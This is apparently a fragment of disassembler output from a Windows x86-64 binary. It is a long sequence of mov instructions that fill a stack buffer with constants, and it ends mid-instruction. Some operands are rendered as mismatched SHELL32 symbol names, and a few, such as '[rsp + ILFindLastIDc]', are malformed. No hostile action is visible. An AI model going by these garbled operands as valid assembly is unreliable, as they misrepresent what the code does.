mov eax, 0xc0
mov word [rsp + 0xa64], ax
movabs rax, 0x7a5cee063d27f1
mov qword [rsp + 0x73e8], rax
mov dword [rsp + 0x3ab4], 0x7d54356d
mov byte [rsp + 0xaa], 0xe8
movabs rax, 0x792ade0f3f9fc6
mov qword [rsp + 0x73f0], rax
movabs rax, 0x7167dc47a5c96d
mov qword [rsp + 0x73f8], rax
mov eax, 0xcc3
mov word [rsp + 0xa68], ax
mov eax, 0x41e
mov word [rsp + 0xa6c], ax
mov byte [rsp + 0xab], 0x1d
mov eax, 0x3a8
mov word [rsp + 0xa70], ax
movabs rax, 0x7def79b253bdd1
mov qword [rsp + 0x7400], rax
movabs rax, 0x75b585118c38f7
mov qword [rsp + 0x7408], rax
mov dword [rsp + 0x3ab8], 0x8e3c
movabs rax, 0x75736b7b18d860
mov qword [rsp + 0x7410], rax
mov eax, 0xef6
mov word [rsp + 0xa74], ax
mov dword [rsp + 0x3abc], 0x6619
movabs rax, 0x7ba0a1597a431b
mov qword [rsp + 0x7418], rax
movabs rax, 0x744b9aa37b7d5a
mov qword [rsp + 0x7420], rax
mov byte [rsp + 0xac], 0x66
mov dword [rsp + 0x3ac0], 0xd406
mov eax, 0x78f
mov word [rsp + 0xa78], ax
movabs rax, 0x7df82f8072dccd
mov qword [rsp + 0x7428], rax
mov eax, 0x8e
mov word [rsp + 0xa7c], ax
mov eax, 0x73f
mov word [rsp + 0xa80], ax
mov eax, 0x479
mov word [rsp + 0xa84], ax
mov dword [rsp + 0x3ac4], 0xa563
mov byte [rsp + 0xad], 0x73
mov byte [rsp + 0xae], 0x63
mov byte [rsp + 0xaf], 0xb8
mov eax, 0x7b1
mov word [rsp + 0xa88], ax
mov byte [rsp + 0xb0], 0x68
mov eax, 0x4ef
mov word [rsp + 0xa8c], ax
mov byte [rsp + 0xb1], 0x1b
movabs rax, 0x7cd09434148802
mov qword [rsp + 0x7430], rax
mov eax, 0xc66
mov word [rsp + 0xa90], ax
mov eax, 0xdad
mov word [rsp + 0xa94], ax
movabs rax, 0x70b95606b90648
mov qword [rsp + 0x7438], rax
movabs rax, 0x75fdbb8244cc5d
mov qword [rsp + 0x7440], rax
movabs rax, 0x77570a0316cda9
mov qword [rsp + 0x7448], rax
mov dword [rsp + 0x3ac8], 0xc586851
mov eax, 0x7c6
mov word [rsp + 0xa98], ax
mov byte [rsp + 0xb2], 0x6e
mov eax, 0x701
mov word [rsp + 0xa9c], ax
movabs rax, 0x739270331036a7
mov qword [rsp + 0x7450], rax
mov eax, 0x4c8
mov word [rsp + 0xaa0], ax
mov byte [rsp + 0xb3], 0x4d
mov byte [rsp + 0xb4], 0x6f
mov eax, 0x1a9
mov word [rsp + 0xaa4], ax
mov byte [rsp + 0xb5], 0x5a
movabs rax, 0x73c72899ad9e6b
mov qword [rsp + 0x7458], rax
mov eax, 0xba1
mov word [rsp + 0xaa8], ax
mov eax, 0x401
mov word [rsp + 0xaac], ax
movabs rax, 0x7dd4df827b00e5
mov qword [rsp + 0x7460], rax
mov byte [rsp + 0xb6], 0xe0
mov dword [rsp + 0x3acc], 0x3c5d
mov dword [rsp + 0x3ad0], 0x3b6d
mov dword [rsp + 0x3ad4], 0x4559b95a
mov dword [rsp + 0x3ad8], 0x5ea4
mov eax, 0x799
mov word [rsp + 0xab0], ax
mov eax, 0x455
mov word [rsp + 0xab4], ax
mov eax, 0x4f8
mov word [rsp + 0xab8], ax
mov byte [rsp + 0xb7], 0xd1
movabs rax, 0x7a890263319f95
mov qword [rsp + 0x7468], rax
mov dword [rsp + 0x3adc], 0x2b53a560
mov dword [rsp + 0x3ae0], 0x43ac
movabs rax, 0x7530f2c38387c2
mov qword [rsp + 0x7470], rax
movabs rax, 0x72ea6d3a127687
mov qword [rsp + 0x7478], rax
movabs rax, 0x77e336db788758
mov qword [rsp + 0x7480], rax
mov eax, 0xe20
mov word [rsp + 0xabc], ax
mov eax, 0x4ab
mov word [rsp + 0xac0], ax
mov eax, 0x56e
mov word [rsp + 0xac4], ax
mov eax, 0x758
mov word [rsp + 0xac8], ax
mov dword [rsp + 0x3ae4], 0x275c8561
mov dword [rsp + 0x3ae8], 0x10075110
mov eax, 0x10d
mov word [rsp + 0xacc], ax
mov dword [rsp + 0x3aec], 0xae7c
movabs rax, 0x7695598dd1a310
mov qword [rsp + 0x7488], rax
mov byte [rsp + 0xb8], 0xe8
mov eax, 0x463
mov word [rsp + 0xad0], ax
mov eax, 0x9b9
mov word [rsp + 0xad4], ax
mov dword [rsp + 0x3af0], 0x7d7cbd43
movabs rax, 0x77029bb423d5a0
mov qword [rsp + 0x7490], rax
mov dword [rsp + 0x3af4], 0x2d33
movabs rax, 0x735216d84b5934
mov qword [rsp + 0x7498], rax
movabs rax, 0x7c83f12e89fab9
mov qword [rsp + 0x74a0], rax
mov eax, 0x1e9
mov word [rsp + 0xad8], ax
mov eax, 0x6b1
mov word [rsp + 0xadc], ax
mov byte [rsp + 0xb9], 8
mov byte [rsp + 0xba], 0xd4
mov byte [rsp + 0xbb], 0x5e
mov byte [rsp + 0xbc], ILFindLastID
mov dword [rsp + 0x3af8], 0xbccf973
mov eax, 0xeed
mov word [rsp + 0xae0], ax
movabs rax, 0x74b094b6997b45
mov qword [rsp + 0x74a8], rax
movabs rax, 0x7ebd14ea322243
mov qword [rsp + 0x74b0], rax
mov eax, 0xd46
mov word [rsp + 0xae4], ax
mov byte [rsp + 0xbd], 0x37
mov byte [rsp + 0xbe], 0x4d
mov eax, 0x169
mov word [rsp + 0xae8], ax
mov dword [rsp + 0x3afc], 0x47fa
mov byte [rsp + 0xbf], 7
mov eax, reloc.SHELL32.dll_SHGetNewLinkInfoW
mov word [rsp + 0xaec], ax
mov byte [rsp + 0xc0], 0x95
mov byte [rsp + 0xc1], 0x75
mov byte [rsp + 0xc2], 0x20
movabs rax, 0x720e8c6df1e9db
mov qword [rsp + 0x74b8], rax
mov dword [rsp + 0x3b00], 0xf370
movabs rax, 0x7b8f9fea9a8fec
mov qword [rsp + 0x74c0], rax
mov eax, SHDoDragDrop
mov word [rsp + 0xaf0], ax
movabs rax, 0x718fc9f4956fb7
mov qword [rsp + 0x74c8], rax
movabs rax, 0x78566466ecde12
mov qword [rsp + 0x74d0], rax
mov eax, 0x6c2
mov word [rsp + 0xaf4], ax
mov eax, 0x532
mov word [rsp + 0xaf8], ax
mov dword [rsp + 0x3b04], 0xa734
mov eax, 0x2f6
mov word [rsp + 0xafc], ax
movabs rax, 0x7bdb6c093b34d6
mov qword [rsp + 0x74d8], rax
mov dword [rsp + 0x3b08], 0x7de2
mov dword [rsp + 0x3b0c], 0x20b7
mov dword [rsp + 0x3b10], 0x2590
mov eax, 0xe70
mov word [rsp + 0xb00], ax
movabs rax, 0x7bc493f52d002b
mov qword [rsp + 0x74e0], rax
mov dword [rsp + 0x3b14], 0x1dac
mov dword [rsp + 0x3b18], 0x166c
mov byte [rsp + 0xc3], 0x32
mov byte [rsp + 0xc4], 7
movabs rax, 0x7896c7979f2c86
mov qword [rsp + 0x74e8], rax
movabs rax, 0x735ec0f2518a3c
mov qword [rsp + 0x74f0], rax
mov byte [rsp + 0xc5], 0x76
movabs rax, 0x72e233f0723345
mov qword [rsp + 0x74f8], rax
mov dword [rsp + 0x3b1c], 0x5e1059ec
movabs rax, 0x72e371e3140796
mov qword [rsp + 0x7500], rax
mov byte [rsp + 0xc6], 0x4f
mov dword [rsp + 0x3b20], 0x9ebc8c8
mov eax, 0x44e
mov word [rsp + 0xb04], ax
movabs rax, 0x78c9b2bc4bd1e2
mov qword [rsp + 0x7508], rax
mov eax, 0x861
mov word [rsp + 0xb08], ax
mov eax, 0xc97
mov word [rsp + 0xb0c], ax
mov byte [rsp + 0xc7], 0x91
mov eax, 0x25c
mov word [rsp + 0xb10], ax
movabs rax, 0x7bb3191379225b
mov qword [rsp + 0x7510], rax
mov byte [rsp + 0xc8], 0x6e
movabs rax, 0x73e022ec81376c
mov qword [rsp + 0x7518], rax
mov dword [rsp + 0x3b24], 0x4eceae7
movabs rax, 0x7535cbecc25d3b
mov qword [rsp + 0x7520], rax
mov dword [rsp + 0x3b28], 0xdf4f
mov dword [rsp + 0x3b2c], 0x9ca86bb
movabs rax, 0x7e8bcae8b3e68a
mov qword [rsp + 0x7528], rax
mov dword [rsp + 0x3b30], 0x2679
mov eax, 0x3eb
mov word [rsp + 0xb14], ax
mov dword [rsp + 0x3b34], 0xf08e
mov eax, 0x34f
mov word [rsp + 0xb18], ax
movabs rax, 0x77d1dde54606bb
mov qword [rsp + 0x7530], rax
mov eax, 0x9bd
mov word [rsp + 0xb1c], ax
mov eax, 0xe06
mov word [rsp + 0xb20], ax
mov byte [rsp + 0xc9], 0x59
mov eax, 0xc85
mov word [rsp + 0xb24], ax
mov eax, 0x1ac
mov word [rsp + 0xb28], ax
mov eax, 0x7fe
mov word [rsp + 0xb2c], ax
mov eax, 0x6d9
mov word [rsp + 0xb30], ax
mov byte [rsp + 0xca], 0xc0
mov eax, 0x259
mov word [rsp + 0xb34], ax
mov eax, 0x98b
mov word [rsp + 0xb38], ax
mov dword [rsp + 0x3b38], 0x423fba62
mov dword [rsp + 0x3b3c], 0xc94e
movabs rax, 0x7ebbb51bfe0f4d
mov qword [rsp + 0x7538], rax
movabs rax, 0x763c44355e6798
mov qword [rsp + 0x7540], rax
mov byte [rsp + 0xcb], 0x50
mov dword [rsp + 0x3b40], 0xd9cd
mov byte [rsp + 0xcc], 0xb5
movabs rax, 0x769c291cddad4d
mov qword [rsp + 0x7548], rax
movabs rax, 0x78becfffe0e57e
mov qword [rsp + 0x7550], rax
mov eax, 0x132
mov word [rsp + 0xb3c], ax
mov eax, 5
mov word [rsp + 0xb40], ax
mov eax, 0xdf5
mov word [rsp + 0xb44], ax
movabs rax, 0x79b03318481157
mov qword [rsp + 0x7558], rax
movabs rax, 0x7d1fd6bbf65354
mov qword [rsp + 0x7560], rax
mov eax, 0x2db
mov word [rsp + 0xb48], ax
mov eax, 0x3a0
mov word [rsp + 0xb4c], ax
mov byte [rsp + 0xcd], 0x62
movabs rax, 0x78f85aead87934
mov qword [rsp + 0x7568], rax
mov eax, 0x886
mov word [rsp + 0xb50], ax
mov eax, 0xaee
mov word [rsp + 0xb54], ax
mov eax, 0x629
mov word [rsp + 0xb58], ax
mov eax, 0x28
mov word [rsp + 0xb5c], ax
mov eax, 0x619
mov word [rsp + 0xb60], ax
mov eax, 0x153
mov word [rsp + 0xb64], ax
movabs rax, 0x7ab19281d87168
mov qword [rsp + 0x7570], rax
mov eax, 0x55d
mov word [rsp + 0xb68], ax
mov dword [rsp + 0x3b44], 0x2b15
mov eax, 0x4f6
mov word [rsp + 0xb6c], ax
mov eax, 0x102
mov word [rsp + 0xb70], ax
movabs rax, 0x7a19bd995c8295
mov qword [rsp + 0x7578], rax
mov eax, 0x82b
mov word [rsp + 0xb74], ax
mov eax, 0x721
mov word [rsp + 0xb78], ax
movabs rax, 0x70d240aef0e3a1
mov qword [rsp + 0x7580], rax
movabs rax, 0x78a210a3231f38
mov qword [rsp + 0x7588], rax
mov eax, 0x701
mov word [rsp + 0xb7c], ax
mov eax, 0x7bd
mov word [rsp + 0xb80], ax
mov dword [rsp + 0x3b48], 0x1a60179a
mov eax, 0x486
mov word [rsp + 0xb84], ax
mov byte [rsp + 0xce], reloc.SHELL32.dll_ILIsParent
movabs rax, 0x708f68a3c68ce5
mov qword [rsp + 0x7590], rax
mov dword [rsp + 0x3b4c], 0x63a7
mov byte [rsp + 0xcf], 0x27
mov dword [rsp + 0x3b50], 0x5b86
mov dword [rsp + 0x3b54], 0xa8fe
mov dword [rsp + 0x3b58], 0x9257
movabs rax, 0x776cfbdfb8d6ad
mov qword [rsp + 0x7598], rax
mov byte [rsp + 0xd0], SHDoDragDrop
mov dword [rsp + 0x3b5c], 0xfb2df4f
mov byte [rsp + 0xd1], 0x4d
mov dword [rsp + 0x3b60], 0x9f13
mov eax, 0xfd3
mov word [rsp + 0xb88], ax
mov eax, 0x6d1
mov word [rsp + 0xb8c], ax
mov byte [rsp + 0xd2], 0x1b
mov eax, 0x31f
mov word [rsp + 0xb90], ax
movabs rax, 0x70d17539b6a298
mov qword [rsp + 0x75a0], rax
mov byte [rsp + 0xd3], 0x3b
movabs rax, 0x762dabbaba5280
mov qword [rsp + 0x75a8], rax
mov eax, 0x796
mov word [rsp + 0xb94], ax
mov dword [rsp + 0x3b64], 0x8b63
mov eax, 0x4bd
mov word [rsp + 0xb98], ax
mov dword [rsp + 0x3b68], 0x212b
movabs rax, 0x70dade71202c33
mov qword [rsp + 0x75b0], rax
movabs rax, 0x79d1daf5dad9a6
mov qword [rsp + 0x75b8], rax
movabs rax, 0x7e0f58774d9cc6
mov qword [rsp + 0x75c0], rax
movabs rax, 0x7be200855dccb4
mov qword [rsp + 0x75c8], rax
mov byte [rsp + 0xd4], ILIsEqual
mov eax, 0x78b
mov word [rsp + 0xb9c], ax
mov byte [rsp + 0xd5], 0x38
mov dword [rsp + 0x3b6c], 0x112f89ab
mov byte [rsp + 0xd6], 0x5a
movabs rax, 0x7d03bd519ef88f
mov qword [rsp + 0x75d0], rax
movabs rax, 0x78dacb6098a688
mov qword [rsp + 0x75d8], rax
mov eax, 0x616
mov word [rsp + 0xba0], ax
movabs rax, 0x78ec926a7b380f
mov qword [rsp + 0x75e0], rax
mov byte [rsp + 0xd7], 0x39
mov dword [rsp + 0x3b70], 0x6a04
mov byte [rsp + 0xd8], 0
movabs rax, 0x71470a100f05bb
mov qword [rsp + 0x75e8], rax
mov dword [rsp + 0x3b74], 0x4eb4f844
mov eax, 0x6b4
mov word [rsp + 0xba4], ax
mov eax, 0xbdf
mov word [rsp + 0xba8], ax
mov eax, 0xf5
mov word [rsp + 0xbac], ax
mov eax, 0x774
mov word [rsp + 0xbb0], ax
mov dword [rsp + 0x3b78], 0xbad0
mov dword [rsp + 0x3b7c], 0x13a69f23
movabs rax, 0x7c30a3500e1fea
mov qword [rsp + 0x75f0], rax
mov byte [rsp + 0xd9], PathYetAnotherMakeUniqueName
movabs rax, 0x70bbeec7ab5d43
mov qword [rsp + 0x75f8], rax
mov byte [rsp + 0xda], 0x3c
mov eax, 0x32b
mov word [rsp + 0xbb4], ax
mov dword [rsp + 0x3b80], 0x3de865d
mov dword [rsp + 0x3b84], 0x107a
mov eax, 0x2bb
mov word [rsp + 0xbb8], ax
mov eax, 0xf8f
mov word [rsp + 0xbbc], ax
mov eax, 0xa6a
mov word [rsp + 0xbc0], ax
movabs rax, 0x76a83e5e3a2e97
mov qword [rsp + 0x7600], rax
mov byte [rsp + 0xdb], 0x3a
mov eax, 0x30d
mov word [rsp + 0xbc4], ax
mov byte [rsp + ILFindLastIDc], 0xd
mov eax, 0xb6e
mov word [rsp + 0xbc8], ax
mov eax, 0x471
mov word [rsp + 0xbcc], ax
movabs rax, 0x73db51eeba9c5e
mov qword [rsp + 0x7608], rax
mov eax, 0x74
mov word [rsp + 0xbd0], ax
movabs rax, 0x7b895f69467b05
mov qword [rsp + 0x7610], rax
movabs rax, 0x7a4d213a8ba037
mov qword [rsp + 0x7618], rax
movabs rax, 0x77fdacfd10d745
mov qword [rsp + 0x7620], rax
mov byte [rsp + 0xdd], 0x20
mov eax, 0x440
mov word [rsp + 0xbd4], ax
movabs rax, 0x70eec2a8ff2688
mov qword [rsp + 0x7628], rax
mov eax, 0x3af
mov word [rsp + 0xbd8], ax
mov byte [rsp + 0xde], 0x66
mov byte [rsp + 0xdf], SHDoDragDrop
movabs rax, 0x7006ed92aa4cbe
mov qword [rsp + 0x7630], rax
mov dword [rsp + 0x3b88], 0xffd8
mov dword [rsp + 0x3b8c], 0x3a4a
movabs rax, 0x7ce072a89bc4a7
mov qword [rsp + 0x7638], rax
movabs rax, 0x7dc6c79b90e9cf
mov qword [rsp + 0x7640], rax
mov dword [rsp + 0x3b90], 0x3f73ff1d
movabs rax, 0x7bfa28ce71ebee
mov qword [rsp + 0x7648], rax
mov byte [rsp + 0xe0], 0xf5
movabs rax, 0x7db97a41561d9e
mov qword [rsp + 0x7650], rax
mov eax, 0xd6c
mov word [rsp + 0xbdc], ax
mov dword [rsp + 0x3b94], 0x166d
mov dword [rsp + 0x3b98], 0x19f5495a
mov eax, 0xda6
mov word [rsp + 0xbe0], ax
mov dword [rsp + 0x3b9c], 0xbcbd
mov eax, 0xe76
mov word [rsp + 0xbe4], ax
mov eax, 0x406
mov word [rsp + 0xbe8], ax
mov eax, 0x714
mov word [rsp + 0xbec], ax
mov eax, 0xd9d
mov word [rsp + 0xbf0], ax
mov byte [rsp + 0xe1], 0xcf
movabs rax, 0x7616c9dfe98402
mov qword [rsp + 0x7658], rax
mov dword [rsp + 0x3ba0], 0xee38
mov eax, 0x49d
mov word [rsp + 0xbf4], ax
mov eax, 0x785
mov word [rsp + 0xbf8], ax
mov eax, 0xb7e
mov word [rsp + 0xbfc], ax
movabs rax, 0x77d81ea6dd35d9
mov qword [rsp + 0x7660], rax
mov eax, 0x49c
mov word [rsp + 0xc00], ax
movabs rax, 0x74ce5a3b30cdf3
mov qword [rsp + 0x7668], rax
movabs rax, 0x7e45632d6fc05f
mov qword [rsp + 0x7670], rax
mov eax, 0x9ac
mov word [rsp + 0xc04], ax
mov eax, 0xe2
mov word [rsp + 0xc08], ax
mov dword [rsp + 0x3ba4], 0x264b
movabs rax, 0x7c609c213a1409
mov qword [rsp + 0x7678], rax
mov dword [rsp + 0x3ba8], 0x35fb87aa
mov byte [rsp + ILIsEqual2], 0xe
mov dword [rsp + 0x3bac], 0x169c
mov eax, 0xcfa
mov word [rsp + 0xc0c], ax
movabs rax, 0x772b32543ebab2
mov qword [rsp + 0x7680], rax
movabs rax, 0x73f3ec0824f142
mov qword [rsp + 0x7688], rax
mov eax, 0x6bb
mov word [rsp + 0xc10], ax
mov eax, 0x190
mov word [rsp + 0xc14], ax
mov dword [rsp + 0x3bb0], 0x6dda
mov dword [rsp + 0x3bb4], 0xc848
mov eax, 0xdf7
mov word [rsp + 0xc18], ax
mov byte [rsp + 0xe3], ILFindLastID
movabs rax, 0x7524896a3432ef
mov qword [rsp + 0x7690], rax
movabs rax, 0x7d669bcc9c003b
mov qword [rsp + 0x7698], rax
mov dword [rsp + 0x3bb8], 0x579c
mov eax, 0x166
mov word [rsp + 0xc1c], ax
mov eax, 0x548
mov word [rsp + 0xc20], ax
movabs rax, 0x726d36592a8cd8
mov qword [rsp + 0x76a0], rax
mov dword [rsp + 0x3bbc], 0x15e
mov eax, 0x1c7
mov word [rsp + 0xc24], ax
movabs rax, 0x728c4b89617343
mov qword [rsp + 0x76a8], rax
movabs rax, 0x72c2cac44b2b3a
mov qword [rsp + 0x76b0], rax
mov dword [rsp + 0x3bc0], 0x2c2
mov byte [rsp + 0xe4], 0x5c
movabs rax, 0x780d24f3f72a2f
mov qword [rsp + 0x76b8], rax
mov dword [rsp + 0x3bc4], 0x377822ae
mov dword [rsp + 0x3bc8], 0x264763da
mov eax, 0xc5f
mov word [rsp + 0xc28], ax
mov dword [rsp + 0x3bcc], 0x6d2fd799
mov byte [rsp + 0xe5], 0x67
movabs rax, 0x75409a8e452c21
mov qword [rsp + 0x76c0], rax
mov eax, 0x5cd
mov word [rsp + 0xc2c], ax
mov dword [rsp + 0x3bd0], 0x71b0
movabs rax, 0x7031be42a4447c
mov qword [rsp + 0x76c8], rax
mov byte [rsp + 0xe6], 0xf3
mov eax, 0x275
mov word [rsp + 0xc30], ax
mov eax, 0x582
mov word [rsp + 0xc34], ax
movabs rax, 0x72a940b6a2c29b
mov qword [rsp + 0x76d0], rax
mov eax, 0x760
mov word [rsp + 0xc38], ax
mov eax, 0x3b2
mov word [rsp + 0xc3c], ax
mov byte [rsp + 0xe7], 0x1f
movabs rax, 0x792f0baf5373e6
mov qword [rsp + 0x76d8], rax
mov dword [rsp + 0x3bd4], 0x25d1
mov dword [rsp + 0x3bd8], 0x850e
movabs rax, 0x740ad27bedd8c3
mov qword [rsp + 0x76e0], rax
movabs rax, 0x7aeb5d4c83f8dc
mov qword [rsp + 0x76e8], rax
movabs rax, 0x7ae6fc4e724484
mov qword [rsp + 0x76f0], rax
mov eax, 0x2e0
mov word [rsp + 0xc40], ax
mov eax, 0x5d9
mov word [rsp + 0xc44], ax
movabs rax, 0x7654402754fdff
mov qword [rsp + 0x76f8], rax
mov dword [rsp + 0x3bdc], 0xa0c0
mov eax, 0xa8
mov word [rsp + 0xc48], ax
mov dword [rsp + 0x3be0], 0xae8a
movabs rax, 0x7dc1453da47697
mov qword [rsp + 0x7700], rax
mov dword [rsp + 0x3be4], 0x78d5
mov dword [rsp + 0x3be8], 0x6dbb
mov eax, 0x4d1
mov word [rsp + 0xc4c], ax
mov byte [rsp + 0xe8], SHDoDragDrop
mov dword [rsp + 0x3bec], 0x71f2
mov eax, 0x865
mov word [rsp + 0xc50], ax
mov eax, 0x4b2
mov word [rsp + 0xc54], ax
movabs rax, 0x7d561884864f7e
mov qword [rsp + 0x7708], rax
movabs rax, 0x77189fbd189403
mov qword [rsp + 0x7710], rax
mov byte [rsp + 0xe9], 0x7d
mov byte [rsp + 0xea], 0xfd
movabs rax, 0x76fdcf1f237ad9
mov qword [rsp + 0x7718], rax
movabs rax, 0x75d7441cda6dfd
mov qword [rsp + 0x7720], rax
mov eax, 0x330
mov word [rsp + 0xc58], ax
movabs rax, 0x743ceb5594fd7b
mov qword [rsp + 0x7728], rax
movabs rax, 0x746ebf2ef4c8c9
mov qword [rsp + 0x7730], rax
mov eax, 0x94f
mov word [rsp + 0xc5c], ax
mov dword [rsp + 0x3bf0], 0x5f63091b
mov byte [rsp + 0xeb], 0x23
movabs rax, 0x7e12b38044c0ec
mov qword [rsp + 0x7738], rax
mov eax, 0xacc
mov word [rsp + 0xc60], ax
movabs rax, 0x79fe03b6b99708
mov qword [rsp + 0x7740], rax
mov byte [rsp + 0xec], 0x4f
movabs rax, 0x78b7c18a9fce36
mov qword [rsp + 0x7748], rax
mov byte [rsp + 0xed], 0x34
mov byte [rsp + 0xee], 0x50
mov eax, 0x78
mov word [rsp + 0xc64], ax
mov byte [rsp + 0xef], 0xe7
mov dword [rsp + 0x3bf4], 0x661e
mov dword [rsp + 0x3bf8], 0x3dd0c885
movabs rax, 0x7c16fb79d713aa
mov qword [rsp + 0x7750], rax
movabs rax, 0x7e63b2694f2959
mov qword [rsp + 0x7758], rax
mov dword [rsp + 0x3bfc], 0x8358
movabs rax, 0x78313a0f259969
mov qword [rsp + 0x7760], rax
mov eax, 0x273
mov word [rsp + 0xc68], ax
mov dword [rsp + 0x3c00], 0xe74b
mov dword [rsp + 0x3c04], 0xc081
movabs rax, 0x745a6f022784c0
mov qword [rsp + 0x7768], rax
mov byte [rsp + 0xf0], 0x23
movabs rax, 0x7801f5e0189721
mov qword [rsp + 0x7770], rax
mov eax, 0x9c
mov word [rsp + 0xc6c], ax
mov dword [rsp + 0x3c08], 0x381e9bc1
mov eax, 0xe65
mov word [rsp + 0xc70], ax
mov eax, 0x2bb
mov word [rsp + 0xc74], ax
movabs rax, 0x7930035ae22857
mov qword [rsp + 0x7778], rax
mov eax, 0xae1
mov word [rsp + 0xc78], ax
mov byte [rsp + 0xf1], 2
movabs rax, 0x7913a96907e672
mov qword [rsp + 0x7780], rax
mov eax, 0x770
mov word [rsp + 0xc7c], ax
movabs rax, 0x713912513526eb
mov qword [rsp + 0x7788], rax
mov dword [rsp + 0x3c0c], 0xa698
mov eax, 0x5d7
mov word [rsp + 0xc80], ax
mov byte [rsp + 0xf2], 0x63
movabs rax, 0x72a144d8c0633b
mov qword [rsp + 0x7790], rax
mov dword [rsp + 0x3c10], 0x93c0
mov byte [rsp + 0xf3], 0xde
movabs rax, 0x7ecf9546148961
mov qword [rsp + 0x7798], rax
mov eax, 0x2b7
mov word [rsp + 0xc84], ax
mov eax, 0x46f
mov word [rsp + 0xc88], ax
mov eax, 0x572
mov word [rsp + 0xc8c], ax
mov eax, 0x548
mov word [rsp + 0xc90], ax
mov dword [rsp + 0x3c14], 0x590c
movabs rax, 0x771b9a237f2111
mov qword [rsp + 0x77a0], rax
movabs rax, 0x7d5611a675332e
mov qword [rsp + 0x77a8], rax
mov byte [rsp + 0xf4], 0xa
movabs rax, 0x71f73e5945d110
mov qword [rsp + 0x77b0], rax
movabs rax, 0x75926597043681
mov qword [rsp + 0x77b8], rax
movabs rax, 0x76618f0a3b6aca
mov qword [rsp + 0x77c0], rax
mov eax, 0x227
mov word [rsp + 0xc94], ax
movabs rax, 0x72cf9b2938c2d8
mov qword [rsp + 0x77c8], rax
mov byte [rsp + 0xf5], ILIsParent
mov eax, 0x65
mov word [rsp + 0xc98], ax
movabs rax, 0x74492c0494838a
mov qword [rsp + 0x77d0], rax
mov eax, 0xc6b
mov word [rsp + 0xc9c], ax
mov dword [rsp + 0x3c18], 0xf995
mov byte [rsp + 0xf6], 0x62
mov dword [rsp + 0x3c1c], 0xda00
movabs rax, 0x709f4dab6ecdbd
mov qword [rsp + 0x77d8], rax
mov eax, 0xd20
mov word [rsp + 0xca0], ax
movabs rax, 0x76134bfb3fc716
mov qword [rsp + 0x77e0], rax
mov eax, 0x1b5
mov word [rsp + 0xca4], ax
movabs rax, 0x7986f9e39704b1
mov qword [rsp + 0x77e8], rax
mov eax, 0x1e3
mov word [rsp + 0xca8], ax
mov dword [rsp + 0x3c20], 0x972b
movabs rax, 0x70a03f887d40f7
mov qword [rsp + 0x77f0], rax
movabs rax, 0x7bb83d67a446df
mov qword [rsp + 0x77f8], rax
movabs rax, 0x7355963f77c7fc
mov qword [rsp + 0x7800], rax
mov eax, 0x1bc
mov word [rsp + 0xcac], ax
movabs rax, 0x79d9dd4c7c796b
mov qword [rsp + 0x7808], rax
mov byte [rsp + 0xf7], 0x68
movabs rax, 0x741c390b014003
mov qword [rsp + 0x7810], rax
mov byte [rsp + 0xf8], reloc.SHELL32.dll_ILIsParent
mov eax, 0x83e
mov word [rsp + 0xcb0], ax
mov byte [rsp + 0xf9], 0x37
mov dword [rsp + 0x3c24], 0xe92914d
mov dword [rsp + 0x3c28], 0x73cbcdb1
mov eax, 0x103
mov word [rsp + 0xcb4], ax
movabs rax, 0x76c063dec33412
mov qword [rsp + 0x7818], rax
mov dword [rsp + 0x3c2c], 0x8441
mov eax, 0xb3f
mov word [rsp + 0xcb8], ax
mov dword [rsp + 0x3c30], 0x6353
mov byte [rsp + 0xfa], SHDoDragDrop
movabs rax, 0x70b71f5415826a
mov qword [rsp + 0x7820], rax
mov byte [rsp + 0xfb], PathYetAnotherMakeUniqueName
mov byte [rsp + 0xfc], 0xd1
mov dword [rsp + 0x3c34], 0xe2e9
movabs rax, 0x7a16582bb9bad7
mov qword [rsp + 0x7828], rax
mov eax, 0xf50
mov word [rsp + 0xcbc], ax
mov dword [rsp + 0x3c38], 0x235665d5
mov eax, 0x68
mov word [rsp + 0xcc0], ax
mov dword [rsp + 0x3c3c], 0x525c131a
mov byte [rsp + 0xfd], PathYetAnotherMakeUniqueName
movabs rax, 0x70a2fe97d522c0
mov qword [rsp + 0x7830], rax
mov byte [rsp + 0xfe], 0x75
mov dword [rsp + 0x3c40], 0x44930cfa
mov eax, 0x248
mov word [rsp + 0xcc4], ax
movabs rax, 0x72a9ac2f656b98
mov qword [rsp + 0x7838], rax
mov eax, 0x69b
mov word [rsp + 0xcc8], ax
mov eax, 0x9c1
mov word [rsp + 0xccc], ax
movabs rax, 0x7692e0ee70672a
mov qword [rsp + 0x7840], rax
movabs rax, 0x77e4c353362c75
mov qword [rsp + 0x7848], rax
mov dword [rsp + 0x3c44], 0x245c
mov dword [rsp + 0x3c48], 0x7851
movabs rax, 0x79b654fd0d5df7
mov qword [rsp + 0x7850], rax
mov byte [rsp + 0xff], PathYetAnotherMakeUniqueName
movabs rax, 0x7015c09ba2820f
mov qword [rsp + 0x7858], rax
mov eax, 0xa20
mov word [rsp + 0xcd0], ax
mov eax, 0x472
mov word [rsp + 0xcd4], ax
mov eax, 0x78d
mov word [rsp + 0xcd8], ax
mov dword [rsp + 0x3c4c], 0x2f872e90
movabs rax, 0x799f7def86732f
mov qword [rsp + 0x7860], rax
mov byte [rsp + 0x100], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x3c50], 0x8aa6
mov eax, 0x6ec
mov word [rsp + 0xcdc], ax
mov eax, 0x4eb
mov word [rsp + 0xce0], ax
mov byte [rsp + 0x101], 0x41
mov byte [rsp + 0x102], 8
mov dword [rsp + 0x3c54], 0x7364cab4
mov byte [rsp + 0x103], 9
mov dword [rsp + 0x3c58], 0x7298
movabs rax, 0x7576cbdbcbe551
mov qword [rsp + 0x7868], rax
mov eax, 0x118
mov word [rsp + 0xce4], ax
movabs rax, 0x7abcaab42320ab
mov qword [rsp + 0x7870], rax
mov dword [rsp + 0x3c5c], 0x5339
mov eax, 0xe4
mov word [rsp + 0xce8], ax
movabs rax, 0x76f5e220f5101b
mov qword [rsp + 0x7878], rax
mov eax, 0xaa3
mov word [rsp + 0xcec], ax
movabs rax, 0x7e8f6a574a8b11
mov qword [rsp + 0x7880], rax
mov byte [rsp + 0x104], 0x68
mov byte [rsp + 0x105], 0x6e
mov eax, 0xcaa
mov word [rsp + 0xcf0], ax
mov eax, 0x2df
mov word [rsp + 0xcf4], ax
movabs rax, 0x7eee7b1bada66e
mov qword [rsp + 0x7888], rax
mov eax, 0x561
mov word [rsp + 0xcf8], ax
movabs rax, 0x7250fa20fa6510
mov qword [rsp + 0x7890], rax
mov byte [rsp + 0x106], 0x64
mov eax, 0x222
mov word [rsp + 0xcfc], ax
mov byte [rsp + 0x107], 0x37
movabs rax, 0x7bf4987cf84f89
mov qword [rsp + 0x7898], rax
mov eax, 0x340
